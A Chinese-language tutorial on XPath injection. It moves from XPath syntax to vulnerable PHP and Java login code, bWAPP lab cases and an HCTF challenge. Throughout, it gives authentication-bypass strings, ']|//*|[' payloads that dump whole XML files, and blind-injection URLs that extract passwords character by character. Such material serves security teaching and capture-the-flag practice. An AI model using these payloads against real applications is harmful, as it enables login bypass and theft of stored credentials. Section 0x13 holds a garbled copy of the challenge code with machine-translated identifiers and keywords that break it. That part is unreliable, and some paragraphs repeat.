xpath注入详解
0x01 什么是xpath
XPath 即为 XML 路径语言,是 W3C XSLT 标准的主要元素,它是一种用来确定 XML(标准通用标记语言的子集)文档中某部分位置的语言。
XPath 基于 XML 的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力,可用来在 XML 文档中对元素和属性进行遍历。
XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。
XPath是一种用来在内存中导航整个XML树的语言,它的设计初衷是作为一种面向XSLT和XPointer的语言,后来独立成了一种W3C标准.
0x02 XPath基础语法
(1)查询基本语句
//users/user[loginID/text()=’abc’ and password/text()=’test123’] 。
这是一个XPath查询语句,获取loginID为abc的所有user数据,用户需要提交正确的loginID和password才能返回结果。如果黑客在 loginID 字段中输入:' or 1=1 并在 password 中输入:' or 1=1 就能绕过校验,成功获取所有user数据
//users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]
(2)节点类型
在XPath中,XML文档被作为节点树对待,XPath中有七种结点类型:元素、属性、文本、命名空间、处理指令、注释以及文档节点(或成为根节点)。 文档的根节点即是文档结点;对应属性有属性结点,元素有元素结点。
element (元素)
attribute (属性)
text (文本)
namespace (命名空间)
processing-instruction (处理指令)
comment (注释)
root (根节点)
例如下面的XML文档,
<?xml version="1.0" encoding="ISO-8859-1"?>
<bookstore>
<book>
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
</bookstore
<bookstore>根节点
<author>J K. Rowling</author> 元素节点
lang="en"属性节点
(3)表达式
XPath通过路径表达式(Path Expression)来选取节点,基本规则:
表达式 |
描述 |
|
nodename |
选取此节点的所有子节点 |
|
/ |
从根节点选取 |
|
// |
从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置 |
|
. |
选取当前节点 |
|
.. |
选取当前节点的父节点 |
|
@ |
选取属性或 @*:匹配任何属性节点 |
|
* |
匹配任何元素节点 |
来看一个XML实例,
<?xml version="1.0" encoding="ISO-8859-1"?>
<bookstore>
<book>
<title lang="eng">Harry Potter</title>
<price>29.99</price>
</book>
<book>
<title lang="eng">Learning XML</title>
<price>39.95</price>
</book>
</bookstore>
则:
路径表达式 结果
表达式 |
结果 |
bookstore |
选取 bookstore 元素的所有子节点 |
/bookstore |
选取根元素 bookstore |
bookstore/book |
选取属于 bookstore 的子元素的所有 book 元素 |
//book |
选取所有 book 子元素,而不管它们在文档中的位置 |
bookstore//book |
选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置 |
//@lang |
选取名为 lang 的所有属性 |
(4)限定语
限定语是对路径表达式的附加条件,用来查找某个特定的节点或者包含某个指定的值的节点.限定语被嵌在方括号中.
路径表达式结果:
表达式 |
结果 |
/bookstore/book[1] |
选取属于 bookstore 子元素的第一个 book 元素 |
/bookstore/book[last()] |
选取属于 bookstore 子元素的最后一个 book 元素 |
//title[@lang] |
选取所有拥有名为 lang 的属性的 title 元素 |
//title[@lang=’eng’] |
选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性 |
/bookstore/book[price>35.00]/title |
选取 bookstore 元素中的 book 元素的所有 title 元素, 且其中的 price 元素的值须大于 35.00 |
(5)通配符
XPath 通配符可用来选取未知的 XML 元素.
通配符 |
描述 |
* |
匹配任何元素节点 |
@* |
匹配任何属性节点 |
node() |
匹配任何类型的节点 |
实例,
表达式 |
结果 |
/bookstore/* |
选取 bookstore 元素的所有子元素 |
//* |
选取文档中的所有元素 |
//title[@*] |
选取所有带有属性的 title 元素 |
(6) 选取多个路径
可以在路径表达式中使用”|”运算符来选取若干路径.
实例,
表达式 |
结果 |
|
//book/title \ |
//book/price |
选取 book 元素的所有 title 和 price 元素 |
bookstore/book/title \ |
//price |
选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素 |
(7) 运算符
路径表达式中可以使用一些常见的数学运算符和逻辑运算符,
(8) 函数
名称 结果
ancestor |
选取当前节点的所有先辈(父、祖父等) |
ancestor-or-self |
选取当前节点的所有先辈(父、祖父等)以及当前节点本身 |
attribute |
选取当前节点的所有属性 |
child |
选取当前节点的所有子元素。 |
descendant |
选取当前节点的所有后代元素(子、孙等)。 |
descendant-or-self |
选取当前节点的所有后代元素(子、孙等)以及当前节点本身。 |
following |
选取文档中当前节点的结束标签之后的所有节点。 |
namespace |
选取当前节点的所有命名空间节点 |
parent |
选取当前节点的父节点。 |
preceding |
选取文档中当前节点的开始标签之前的所有节点。 |
preceding-sibling |
选取当前节点之前的所有同级节点。 |
self |
选取当前节点。 |
路径表达式可以是绝对路径,也可以是相对路径。例如:
/step/step/...
相对位置路径:
step/step/...
其中的每一步又可以是一个表达式,包括:
轴(函数)(axis)
定义所选节点与当前节点之间的树关系
节点测试(node-test)
识别某个轴内部的节点
零个或者更多谓语(predicate)
更深入地提炼所选的节点集
例如: 例子 结果
child::book |
选取所有属于当前节点的子元素的 book 节点 |
attribute::lang |
选取当前节点的 lang 属性 |
child::* |
选取当前节点的所有子元素 |
attribute::* |
选取当前节点的所有属性 |
child::text() |
选取当前节点的所有文本子节点 |
child::node() |
选取当前节点的所有子节点 |
descendant::book |
选取当前节点的所有 book 后代 |
ancestor::book |
选择当前节点的所有 book 先辈 |
ancestor-or-self::book |
选取当前节点的所有book先辈以及当前节点(假如此节点是book节点的话) |
child::*/child::price |
选取当前节点的所有 price 孙。 |
0x03 XPath注入的定义
XPath注入攻击,是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知 识的情况下,通过XPath查询得到一个XML文档的完整内容。Xpath注入攻击本质上和SQL注入攻击是类似的,都是输入一些恶意的查询等代码字符串,从而对网站进行攻击。
0x04 xpath注入描述
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。
0x05 xpath注入原理
xpath注入的原理其实和sql注入很像, XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。攻击者可以获取 XML 数据的组织结构,或者访问在正常情况下不允许访问的数据,如果 XML 数据被用于用户认证,那么攻击者就可以提升他的权限。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML 中没有访问控制或者用户认证,如果用户有权限使用 XPath 查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档。 注入出现的位置也就是cookie,headers,request parameters/input等。下面以登录验证中的模块为例,说明 XPath注入攻击的实现原理。
在Web 应用程序的登录验证程序中,一般有用户名(username)和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中,其原理是通过查找user表中的用户名 (username)和密码(password)的结果来进行授权访问,
例存在user.xml文件如下:
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
则在XPath中其典型的查询语句如下:
//users/user[loginID/text()='xyz'and password/text()='123test']
但是,可以采用如下的方法实施注入攻击,绕过身份验证。如果用 户传入一个 login 和 password,例如 loginID = 'xyz' 和 password = '123test',则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''=' 的值,那么该查询语句也会得到 true 返回值,因为 XPath 查询语句最终会变成如下代码:
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。延展开来,xpath的注入还有很多花样,像是通过updataxml()函数实现xpth报错注入,还有xpth的盲注
1.xpath实列原理一
主流脚本语言都支持对XPath的处理,下面我以PHP来学习XPath注入的原理.
blog.xml:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type="md5">0192023a7bbd73250516f069df18b500</password>
</user>
<user>
<id>2</id>
<username>jack</username>
<password type="md5">1d6c1e168e362bc0092f247399003a88</password>
</user>
<user>
<id>3</id>
<username>tony</username>
<password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
</user>
</users>
<secret>
<flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
</secret>
</root>
index.php:
<?php
$xml = simplexml_load_file('blog.xml');
$name = $_GET['name'];
$pwd = md5($_GET['pwd']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
echo '<h2>Welcome</h2>';
foreach ($result as $key => $value) {
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
代码很简单,实现了一个简单的登陆验证功能.其实和SQL注入相似,没有对用户输入的数据做过滤,导致攻击者可以直接注入”XPath表达式”,只要知道用户名就能绕过密码验证,
http://127.0.0.1/xpath/index.php?name=admin' or '1'='1&pwd
如果用户名没法得知,可以用两个”or”来绕过验证逻辑
http://127.0.0.1/xpath/index.php?name=fake' or '1'or'1&pwd=fake
提取数据
2.xpath实列原理二
这里用一道赛题来举例:
<?php
$re = array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep');
setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000);
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$user=str_replace($re, ' ', $user);
//$user=str_replace("'", "&apos", $user);
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo $x.": " . $x_value;
echo "<br />";
}
}
通过访问/download.php?file=backup.zip下载网页源码,如下:
首先看到他过滤了sql注入的一些关键字,setcookie中有一段base64加密的密文,解码后得到的是:“sqli is not the only way for injection”,根据提示sql不是唯一的注入方式,再结合下面对xml的一系列操作,可以确定这道题是用xpath注入,于是根据$query="user/username[@name='".$user."']";这一句可构造如下payload:
$query="user/username[@name='']|//*|ss['']";
这句payload的意思是闭合了“.$user.”前后的单引号同时执行三个操作,其中第二个操作//*即是关键点,列出文档中的所有元素,最后拿到flag
3.xpath 实列原理三
这边有个存放分数的xml文件:
score.xml:
<?xml version="1.0" encoding="utf-8"?>
<root>
<class num='1'>
<peo name='tom'>
<subject>
<foo>english</foo>
<score>60</score>
</subject>
<subject>
<foo>chinese</foo>
<score>70</score>
</subject>
<password>qwer123</password>
</peo>
<peo name='helen'>
<subject>
<foo>english</foo>
<score>24</score>
</subject>
<subject>
<foo>chinese</foo>
<score>34</score>
</subject>
<password>woaichishi</password>
</peo>
<peo name='vk'>
<subject>
<foo>english</foo>
<score>100</score>
</subject>
<subject>
<foo>chinese</foo>
<score>100</score>
</subject>
<password>vk123</password>
</peo>
</class>
</root>
查询分数的php是:
score.php:
<?php
if (file_exists('score.xml')){
$xml = simplexml_load_file('score.xml'); //获取xml文件里面的数据
if (isset($_GET['user'])){
$user = $_GET['user'];
//构造语句
$en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score";
$ch_scr = "//peo[@name='{$user}']/subject[contains(foo, 'chinese')]/score";
$en_qu = $xml -> xpath($en_scr);
$ch_qu = $xml -> xpath($ch_scr);
foreach ($en_qu as $key => $value) {
echo $user.':<br>english is '.$value;
}
foreach ($ch_qu as $key => $value) {
echo '<br>'.'chinese is '.$value;
}
}else{
echo 'only have three user: vk, tom, helen.';
}
}
?>
这里,php用simplexml_load_file()这个函数来访问那个存分数的xml文件
然后用xpath语法去查询数据。
会php语言的慢慢看(重要!可加深理解),不会的跳过,先看效果:
他说只有三个用户,那我们来查查helen的分数吧
那vk呢
好了,反过来看看代码,它是怎么实现对xml文件的查询的?
$en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score";
$ch_scr = "//peo[@name='{$user}']/subject[contains(foo,
'chinese')]/score";
图中框这个就相当于Sql中的语句,这就是xpath路径选取xml节点的语句
直接解释查询语句
/peo 匹配到所有peo节点
这节点不止一个,到底要哪个呢?
[@name='{$user}'] 接收到用户名字,来查询相应的节点(就是刚才的helen,vk)
/subject 刚才peo节点下的subject节点
这时候问题又来了,subject节点不止一个,哪个呢?
[contains(foo, 'english')] contains函数,第一个参数给出节点名,第二个写字符串
意思就是,匹配出他的foo子节点中,信息含有english的那个
/score 已经找到相应的subject了,然后就是找分数了。Score就是存放分数的节点:
这样就能实现从xml文件中查询相应数据了!
这节点不止一个,到底要哪个呢?
[@name='{$user}'] 接收到用户名字,来查询相应的节点(就是刚才的helen,vk)
/subject 刚才peo节点下的subject节点
这时候问题又来了,subject节点不止一个,哪个呢?
[contains(foo, 'english')] contains函数,第一个参数给出节点名,第二个写字符串
意思就是,匹配出他的foo子节点中,信息含有english的那个
/score 已经找到相应的subject了,然后就是找分数了。Score就是存放分数的节点:
这样就能实现从xml文件中查询相应数据了!
0x06 XPath盲注的方法
盲注主要利用XPath的一些字符串操作函数和运算符.
以前文的环境为例,如果我们想遍历出整个XML文档,一般步骤如下:
1.判断根下节点数:
127.0.0.1/xpath/index.php?name=1' or count(/*)=1 or '1'='1&pwd=fake
result: 1
2.猜解第一级节点:
127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake
127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),2,1)='o' or '1'='1&pwd=fake
...
result: root
3.判断root的下一级节点数:
127.0.0.1/xpath/index.php?name=1' or count(/root/*)=2 or '1'='1&pwd=fake
result: 2
4.猜解root的下一级节点:
127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake
127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=2]),1,1)='s' or '1'='1&pwd=fake
result: users,secret
重复上述步骤,直到猜解出所有节点.最后来猜解节点中的数据或属性值.
猜解id为1的user节点下的username值,
127.0.0.1/xpath/index.php?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake
...
result: admin
0x07 XPath攻击的实列一
一般说来,大多数 Web 应用程序使用关系数据库存储和检索信息。
例如,如果您的 Web 站点需要身份验证,那么您可能拥有一个 users 表,其中包含惟一 ID、登录名、密码,也许还有一些其他信息,比如角色。从 users 表中检索用户的 SQL 查询可能类似于清单 1。
(1)清单 1从 users 表中检索用户的 SQL 查询
Select * from users where loginID=’foo’ and password=’bar’
在这个查询中,用户必须提供 loginID 和 password 作为输入。
如果攻击者在 loginID 字段中输入:’ or 1=1
并在 password 中输入:’ or 1=1
则形成的查询将类似清单 2。
清单 2. 从攻击者输入形成的查询
Select * from users where loginID = ’’ or 1=1 and password=’ ’ or 1=1这个条件会一直匹配,因此攻击者可以进入系统。
XPath 注入的原理大体类似。但是,假设您拥有的不是一个 users 表,而是一个 XML 文件,其中包含了如清单 3 所示的用户信息。
清单 3. user.xml
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
<user>
<firstname>Jeghis</firstname>
<lastname>Katz</lastname>
<loginID>mrj</loginID>
<password>jk2468</password>
</user>
<user>
<firstname>Darien</firstname>
<lastname>Heap</lastname>
<loginID>drano</loginID>
<password>2mne8s</password>
</user>
</users> 在 XPath 中,类似于 SQL 查询的语句如清单 4 所示。清单 4. 匹配 SQL 查询的 XPath 语句
//users/user[loginID/text()=’abc’ and password/text()=’test123’]要执行类似的攻击以绕过身份验证,
如果攻击者在 loginID 字段中输入:’ or 1=1
并在 password 中输入:’ or 1=1
您可能会使用类似清单 5 的方法。
清单 5. 绕过身份验证
//users/user[LoginID/text()=’’ or 1=1 and password/text()=’’ or 1=1]
您可能在 Java 应用程序中有一个诸如 doLogin 之类的方法,使用清单 3 中的 XML 文档再次执行身份验证。可能类似于清单 6。
清单 6. XPathInjection.java
import java.io.IOException;
import org.w3c.dom.*;
import org.xml.sax.SAXException;
import javax.xml.parsers.*;
import javax.xml.xpath.*;
public class XpathInjectionExample {
public boolean doLogin(String loginID, String password)
throws ParserConfigurationException, SAXException,IOException,
XPathExpressionException {
DocumentBuilderFactory domFactory = DocumentBuilderFactory.newInstance();
domFactory.setNamespaceAware(true);
DocumentBuilder builder = domFactory.newDocumentBuilder();
Document doc = builder.parse("users.xml");
XPathFactory factory = XPathFactory.newInstance();
XPath xpath = factory.newXPath();
XPathExpression expr = xpath.compile("//users/user[loginID/text()=’"+loginID+"’
and password/text()=’"+password+"’ ]/firstname/text()");
Object result = expr.evaluate(doc, XPathConstants.NODESET);
NodeList nodes = (NodeList) result;
//print first names to the console
for (int i = 0; i < nodes.getLength(); i++) {
System.out.println(nodes.item(i).getNodeValue());}
if (nodes.getLength() >= 1) {
return true;
}
else{
return false;
}
}
}
0x08 xpath之bwaspp实列一
我们来看看bwapp上的第一个xpath注入:
这个登录界面访问权限是通过xpath去读取xml文件来实现的。
换句话说,你输入账号密码,他就把xml文件里的合法账号密码拿出来
和你填写的进行比对,如果一致就通过。
如果他对输入没有进行过滤的话
用sql注入的万能钥匙是能通过的!
通过这个我们了解到,xpath和sql注入还是有点像的,起码or能用。
进阶探索
看一道xpath注入的ctf题目:
在cookie中找到提示信息:
于是我们就想到了xpath注入:
用 user1’ or ‘’=’
这样爆出所有user查询结果,并不能找到flag
看来只能拿出xpath特有的注入手段了(这也是和sql注入最大的区分)
直接看exp:xmltest.php?user=user1']
| //* | //*['
好了,这一部分只需要了解xpath注入和sql注入不是一个东西就行。
0x09 XPath之bwaspp实列二
再来看看bwapp的第二个xpath注入
这个web应用是,你给出类型,他查找这个类型的电影,给你呈现出来。
这里我选了action动作片,他告诉我图中结果。
看url就知道,这里是通过get来传参的。简单测试下:
语句:genre=action'
and ''='&action=search
没有回显,(正常应该有回显)
看样子是接收参数的位置问题,不是任何位置都可以接受and or
(比如在函数里)
那我们试试:genre=action' | //* | ' &action=search
继续:genre=action'] | //* | //*[' &action=search
还是不行,不要灰心,拼字游戏就是如此。
我们来看看一个查询语句:
//peo[@name='{$user}']/subject[contains(foo, 'chinese')]/score
这是之前查分数的XPath
这里接收参数的位置是在中括号里面,用来挑选某个节点属性
因此用中括号闭合成功,这里不行
会不会是哪个函数里面接收参数?
那就是括号!
把中括号换成圆括号也不行。
就在我郁闷的时候,一拍脑袋,函数一般是放在中括号里,用来增加查询条件的
这有点像where
那么试试:genre=action')] | //* | //*[(' &action=search
0x10 xpath挖掘利用
如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生Xpath注入,那么就攻击者就可能通过控制查询,获取数据,或者删除数据之类的操作。
Xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面,搜索页面需要与xml交互的位置。
判断依据:主要根据错误信息页面判断以及查看源码进行分析。
Example:Bwapp
首先这是这个Get方式请求验证,因此对get的参数进行注入测试,发现报错信息,说明是可能通过xml存储于前端交互。
然后构造xpath查询语句//users/user[loginID/text()='' and password/text()=''],因此'or 1=1 or ''='或者' or '1'='1等使其为真可以。
Example:hctf
index.html
<?php
$re = array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep');
setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000);
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$user=str_replace($re, ' ', $user);
// $user=str_replace("'", "&apos", $user);
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo $x.": " . $x_value;
echo "<br />";
}
}
?>
t3stt3et.xml
<?xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name='user1'>user1</username>
<key>KEY:1</key>
<username name='user2'>user2</username>
<key>KEY:2</key>
<username name='user3'>user3</username>
<key>KEY:3</key>
<username name='user4'>user4</username>
<key>KEY:4</key>
<username name='user5'>user5</username>
<key>KEY:5</key>
<username name='user6'>user6</username>
<key>KEY:6</key>
<username name='user7'>user7</username>
<key>KEY:7</key>
<username name='user8'>user8</username>
<key>KEY:8</key>
<username name='user9'>user9</username>
<key>KEY:9</key>
</user>
<hctfadmin>
<username name='hctf1'>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>
通过查看源码$query,然后构造payload: `']|//*|['`
0x11浅谈XPath注入检测思路和方法
XML不是保存企业数据的,但是很多情况下都用来保存应用程序配置数据,小型应用程序也保存简单信息,例如角色权限等等,下面给出一个XML的列子
<addressBooke>
<address>
<name>Tom</name>
<password>abcdefg</password>
<age>20</age>
<phone>13000000000</phone>
</address>
<address>
<name>Bob</name>
<password>abcdefg</password>
<age>30</age>
<phone>13000000001</phone>
</address>
<address>
<name>Jack</name>
<password>abcdefg</password>
<age>40</age>
<phone>13000000002</phone>
</address>
原理类似SQL注入,构建新的查询逻辑来进行攻击,但是要注意,关键词像函数这种的区分大小写
1.构建新的逻辑实现注入
or 1=1
and 1=2
'or 'a'='a
'and 'a'='b
一个字节一个字节的提取出信息:
'or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a'
and 'a'='a
返回正常则判断正确
等同于下面的查询:
//address[name/text()='' or
//address[name/text()='Tom' and substring(password/text(),1,1))] ='a'
]and 'a'='a]/phone/text()
通过查询名字的输入
却查询到了了tom的密码首位,尝试攻击每一个字符位置并测试每一个可能的值,获得密码
2.当然了大部分情况下,我们不能够知道任何节点的名称或者说只能知道一部分,可使用盲注XPath
相当于SQL盲注(大家都对语句嫩熟于心,不多提了)
首先提取父节点的名字:
'or
substring(name(parent::*[position()=1]),1,1)='a 正常
'or
substring(name(parent::*[position()=1]),2,1)='d 正常
........
父节点名字为address 是元素节点
提取子节点名字
'or substring(//address[1]/*[2],1,1)='p' or
'a'='a 正常
'or substring(//address[1]/*[2],2,1)='a' or
'a'='a 正常
........
二号子节点名称为password
提取子节点的值:
基于原理://address[1]/*[2]/text() -> tom的password 但是这个不会输出
我们通过布尔型来查询XML所有的内容
'or substring(//address[1]/*[2]/text(),1,1)='a'
or'a'='a 正常
'or substring(//address[1]/*[2]/text(),1,1)='b'
or'a'='a 正常
......
第二个子节点值为abcdefg
测试步骤:
提交这些看能否使得状态改变
(count返回子节点数量)
' or count(parent::*[position()=1])=0 or 'a'='b 状态1
' or count(aprent::*[position()=1])>0 or
'a'='b 状态改变
数字型参数:
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])=0 状态改变
确定了存在注入点,用上面的方法注入就可以了!
0x12 XPath注入攻击特点以及和普通注入的区别
XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。XPath注入攻击同SQL注入攻击类似,但和SQL注入攻击相比较,XPath在以下方面具有优势。
(1) 广泛性。XPath注入攻击利用的是XPath语法,由于XPath是一种标准语言,因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞,所以可能在所有的XPath实现中都包含有该弱点,这和SQL注入攻击有 很大区别。在SQL注入攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同。
(2) 危害性大。XPath语言几乎可以引用XML文档的所有部分,而这样的引用一般没有访问控制限制。但在SQL注入攻击中,一个“用户”的权限可能被限制到 某一特定的表、列或者查询,而XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的安全漏洞,即可构造针对 XPath应用的自动攻击。
0x13 经典xpath源码
index.php:
<?php
$
re = array('and','or','count','select','from','union','group','by','limit','insert','where ”, '顺序', 'ALTER', '删除', '具有', '最大值', '分', '平均', '总和', 'SQRT', '兰特', '的concat', '睡觉') ;
setCookie方法( '注射', 'c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24 =',时间()+ 100000);
if(file_exists('t3stt3st.xml')){
$ xml = simplexml_load_file('t3stt3st.xml');
$用户= $ _ GET [ '用户'];
$ user = str_replace($ re,'',$ user);
// $ user = str_replace(“'”,“',$ user);
$查询=”
?>
t3stt3st.xml:
<?xml
version =“1.0”encoding =“utf-8”?>
<root1>
<user>
<username name ='user1'>
user1 </ username>
<key> KEY:1 </ key>
<username name = 'user2'>
user2 </ username>
<key> KEY:2 </ key>
<username name ='user3'>
user3 </ username>
<key> KEY:3 </ key>
<username name ='user4'>
user4 </ username>
<key> KEY:4 </ key>
<username name ='user5'>
user5 </ username>
<key> KEY:5 </ key>
<username name ='user6'>
user6 </ username >
<key>KEY:6 </ key>
<username name ='user7'>
user7 </ username>
<key> KEY:7 </ key>
<username name ='user8'>
user8 </ username>
<key> KEY:8 </ key>
<username name ='user9'>
user9 </ username>
<key> KEY:9 </ key>
</ user>
<hctfadmin>
<username name ='hctf1'>
hctf < / username>
<key> flag:hctf {Dd0g_fac3_t0_k3yboard233} </ key>
</ hctfadmin>
</ root1>
//index.php
<?php
$re = array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep');
setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000);
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$user=str_replace($re, ' ', $user);
// $user=str_replace("'", "&apos", $user);
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo $x.": " . $x_value;
echo "<br />";
}
}
?>
//t3stt3st.xml
<?xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name='user1'>user1</username>
<key>KEY:1</key>
<username name='user2'>user2</username>
<key>KEY:2</key>
<username name='user3'>user3</username>
<key>KEY:3</key>
<username name='user4'>user4</username>
<key>KEY:4</key>
<username name='user5'>user5</username>
<key>KEY:5</key>
<username name='user6'>user6</username>
<key>KEY:6</key>
<username name='user7'>user7</username>
<key>KEY:7</key>
<username name='user8'>user8</username>
<key>KEY:8</key>
<username name='user9'>user9</username>
<key>KEY:9</key>
</user>
<hctfadmin>
<username name='hctf1'>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>
从index.php源码可知XPath查询语句为$query="user/username[@name='".$user."']", 且$user经过关键字替换。但是黑名单$re中都为SQL关键字,所以并不影响对XPath进行注入。我们可以构造payload如 ']|//*|zzz['来进行注入,获取文档中的所有元素节点。
0x14 xpath危害
1.在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据;
2.可通过此类漏洞查询获取到系统内部完整的XML文档内容。
3.逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。
4.xpath的具体危害:
下面我将从这两个方面来分别演示这两种危害。
(1)绕过验证
首先这里有一个登录身份验证的程序,所有的身份数据都存储在一个名为 UsersDataBase.xml 的文件里。 通过 XPath 查询 xml 文件,将用户提交的用户名和密码与 xml 文件中的用户名密码做比对来验证身份。
UsersDataBase.xml 的结构如下:
一般情况下,输入错误的用户名或密码会导致身份认证失败:
然而在后台的身份认证程序中有这样一句 XPath 查询语句
$xpath = "//users/user[username/text()='".$_POST["username"]."' and password/text()='".$_POST["password"]."']";
可以看到在 XPath 查询语句中并未对用户的输入做任何处理,这就直接导致一个注入点
我们可以构造如下的 payload:
Username: ' or '1' = '1
Password: ' or '1' = '1
那么整个 XPath 查询语句就变成了这个样子
$xpath = "//users/user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']";
整个查询语句恒成立,就直接导致了身份认证被绕过。
2.信息泄露
大多数情况下,当服务器返回数据时,都会对这些数据做一些处理。比如如果服务器返回一些错误信息,那么最终会被过滤掉,不会出现在用户的页面里。将尽可能少的信息暴露给用户,将可以提高安全性。但是即使错误信息被过滤掉,我们依然可以从服务器给出的不同返回结果推测出服务器做出了何种响应。作为攻击者可以提交一段包含 XPath 函数的 Payload,通过服务器给出的不同响应,判断得到我们想知道的信息。这就是 XPath 盲注。
下面这是一个通过用户名的ID来得到用户名的程序。当然具体场景也可能是通过名字来查询身份证号码等等,这里只做演示。
正常情况下,输入用户的 ID,就会得到相应的用户名。当查询语句恒成立时(如构造 Payload 为' or '1' = '1 时),就会返回第一个节点的用户名 “Alice”(这是程序本身的 bug )。而当查询语句错误或该 ID 在 xml 数据库中不存在时,就什么都不返回。
利用这点,我们就可以构造如下 Payload,比如:来查询整个 xml 文档的根节点的第一个字母是否为“u”
